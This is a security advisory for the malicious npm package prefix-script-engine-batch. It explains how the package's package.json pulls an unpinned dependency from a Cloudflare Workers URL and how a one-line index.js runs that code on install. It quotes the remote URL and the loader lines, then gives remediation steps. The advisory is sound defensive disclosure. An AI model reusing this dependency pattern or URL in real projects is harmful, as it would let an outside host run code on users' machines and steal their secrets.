Malicious package · npm
Malicious code in prefix-script-engine-batch (npm)
1.0.0No safe version. Remove it.What it does
prefix-script-engine-batch (published by the npm account jikaya497) is a loader for code hosted outside the npm registry. Its package.json declares the dependency "source-binary-plugin-digest": "https://package-registry-receiver-stg.depx-research-bf0.workers.dev/npm/source-binary-plugin-digest" and its index.js is the single line module.exports = require('source-binary-plugin-digest');, so installing the package fetches and installs whatever that host serves and requiring it runs that code; that tarball has no registry integrity record and the host can change it at any time. The same account published the packages in MAL-2026-20552, MAL-2026-20553 and MAL-2026-20604.
package.json at line 12 declares its sole dependency source-binary-plugin-digest as a bare HTTPS URL on a Cloudflare Workers subdomain (https://package-registry-receiver-stg.depx-research-bf0.workers.dev/npm/source-binary-plugin-digest) rather than a registry version range, git SHA, or tarball with an integrity hash. On npm install, npm fetches whatever bytes that endpoint returns, unpinned and integrity-unchecked, and runs any lifecycle scripts contained in that artifact. The shipped index.js is a one-line re-export stub, so the manifest line itself is the entire published surface of the package — the dependency fetch is the install-time code-execution vector. The destination host is mutable and unrelated to any npm registry or declared source repository, so the delivered code is entirely controlled by whoever operates that Workers endpoint at install time.
Reported by ghsa-malware Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
No fix · Remove and contain
npm uninstall prefix-script-engine-batchSources